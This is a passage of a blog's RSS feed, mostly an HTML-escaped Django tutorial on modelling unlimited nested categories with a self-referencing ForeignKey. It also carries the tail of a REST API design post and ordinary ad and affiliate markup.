target=&#34;_blank&#34;&gt;Whitehouse&amp;rsquo;s API standards&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developer.mozilla.org/es/docs/Web/HTTP/Methods&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;HTTP Methods&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developers.google.com/search/blog/2010/04/to-slash-or-not-to-slash&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;To slash or not to slash&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/3CQBspS&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Sturgeon, P. (2015). &lt;em&gt;Build Api’s&lt;/em&gt;. Philip J. Sturgeon.&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4kcQoiC&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Massé, M. (2012). REST API design rulebook. Sebastopol, CA: O&amp;rsquo;Reilly.&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;This publication is a minimal guide of practical tips on REST API design, what is a characteristic of the REST API? I don&amp;rsquo;t go too deep into the theory. On top of that, I may oversimplify many concepts in order to keep the text as short and simple as possible.&lt;/p&gt;&#xA;&lt;p&gt;In the next post I will talk about some more subjective questions such as: how to return JSON correctly, how to nest an API, what are the ways to version a REST API, and what are some of the ways to version a REST API.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Categories in Django using ForeignKey to self</title>
      <link>https://coffeebytes.dev/en/django/categories-in-django-using-foreignkey-to-self/</link>
      <pubDate>Wed, 30 Mar 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/categories-in-django-using-foreignkey-to-self/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Grouping by categories is quite common in web applications, from movies, courses or any other resource that presents a hierarchical relationship to another object. In Django there are different ways to model these relationships. Probably, the first that will come to your mind will be to create a &lt;em&gt;category&lt;/em&gt; object, and then relate it by means of a &lt;em&gt;ForeignKey&lt;/em&gt; with a &lt;em&gt;subcategory&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;one-subcategory-or-level-per-model&#34;&gt;One subcategory or level per model&lt;/h2&gt;&#xA;&lt;p&gt;What I meant by one category or level per model is something like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Category&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# other properties&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;SubCategory&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# other properties&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    category &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ForeignKey(Category, related_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;subcategories&amp;#34;&lt;/span&gt;, blank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;, null&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;, on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CASCADE)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This approach to the hierarchy problem in Django looks good at first glance. The resulting structure will look something like this:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745886724/coffee-bytes/category-subcategory_mtkzpy.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745886724/coffee-bytes/category-subcategory_mtkzpy.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Subcategory model schema with ForeignKey made Category in Django&#34; width=&#34;979&#34; height=&#34;379&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;the-problem-of-using-a-model-by-category&#34;&gt;The problem of using a model by category&lt;/h3&gt;&#xA;&lt;p&gt;This scheme will work in situations where the hierarchies do not nest very deep, but what if those subcategories have subcategories?&lt;/p&gt;&#xA;&lt;p&gt;Imagine a horror movie category, with a ghost subcategory that, in turn, has a home ghost subcategory and this, in turn, a subcategory of type of ending.&lt;/p&gt;&#xA;&lt;p&gt;Well, we add a &lt;em&gt;SubSubCategory&lt;/em&gt; class, don&amp;rsquo;t we? But&amp;hellip; what if those SubSubCategories have in turn subcategories. See what I&amp;rsquo;m trying to get at?&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745886985/coffee-bytes/category-subcategory-problem_bx9ymd.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745886985/coffee-bytes/category-subcategory-problem_bx9ymd.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Infinite subcategories problem scheme&#34; width=&#34;1480&#34; height=&#34;1221&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Every time you need to create a new subcategory you will have to create a new model in the &lt;em&gt;models.py&lt;/em&gt; file of your application. And not only that, but a new table that probably only has a few records. Is there a better approach to the problem? The &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;versatile Django Framework&amp;rsquo;s ORM&lt;/a&gt;&#xA; offers a pretty clean solution.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;foreignkey-to-the-same-model-in-django&#34;&gt;ForeignKey to the same model in Django&lt;/h2&gt;&#xA;&lt;p&gt;To simplify the problem of categories in Django, we create &lt;strong&gt;a single model, with a property of type &lt;em&gt;ForeignKey&lt;/em&gt; or foreign key pointing to the same object; that is, to &lt;em&gt;self&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Category&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    parent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ForeignKey(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;self&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        related_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;subcategories&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CASCADE,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        blank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        null&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;In this way we will have a structure similar to a graph, where each node points to another.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745887246/coffee-bytes/foreign-key-to-self-django_uvvogs.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745887246/coffee-bytes/foreign-key-to-self-django_uvvogs.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Schematic diagram of how ForeignKey made self(the same model) works in Django&#34; width=&#34;1607&#34; height=&#34;584&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;This new arrangement allows us to create as many subcategories as we want, without the need to create new models. To do so, we simply assign the &lt;em&gt;parent&lt;/em&gt; property to the &lt;em&gt;Category&lt;/em&gt; class instance we want it to belong to.&lt;/p&gt;&#xA;&lt;h3 id=&#34;accessing-the-same-model-in-django&#34;&gt;Accessing the same model in Django&lt;/h3&gt;&#xA;&lt;p&gt;See how the &lt;em&gt;ForeignKey&lt;/em&gt; does &lt;em&gt;self&lt;/em&gt; in practice:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; my_app.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Category&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;parent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Category&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;create(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Programming languages&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subcategory &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Category&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;create(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Python&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subcategory&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;parent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; parent&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# save it in the database&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subcategory&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;I explain what happens. First we create a main category, and a subcategory. Later, we assign the property &lt;em&gt;parent,&lt;/em&gt; of this last one, to the main category. And ready, we save.&lt;/p&gt;&#xA;&lt;p&gt;Finally, let&amp;rsquo;s create a sub-subcategory for our subcategory&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subsubcategory &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Category&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;create(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Django&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subsubcategory&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;parent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; subcategory&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subsubcategory&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice how we have created another sub-subcategory (called Django), which comes from the same model we used in the other two. To assign it to a category, we match its &lt;em&gt;parent&lt;/em&gt; property to the subcategory we created (named Python).&lt;/p&gt;&#xA;&lt;p&gt;As you have already seen, a single model allows us to add as many subcategories as we want.&lt;/p&gt;&#xA;&lt;h3 id=&#34;access-to-subcategories&#34;&gt;Access to subcategories&lt;/h3&gt;&#xA;&lt;p&gt;If we examine the parent category, which we created previously, we will notice that it has a list of subcategories, among which our subcategory (Call Python) is already included.&lt;/p&gt;&#xA;&lt;p&gt;We can access it as we would any other many-to-one relationship.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;parent&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;subcategories&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Category: Category &lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt; (&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;parent&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;subcategories&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Python&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;go-from-subcategories-to-categories&#34;&gt;Go from subcategories to categories&lt;/h3&gt;&#xA;&lt;p&gt;On the other hand, if we want to go &amp;ldquo;in reverse&amp;rdquo; from the most nested category to the least nested, we simply go through it; we access the parent, and then the parent of the next instance, and so on as many nestings as we need.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subcategory&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Django&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subcategory&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;parent&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Python&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subcategory&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;parent&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;parent&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Programming languages&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;other-resources&#34;&gt;Other 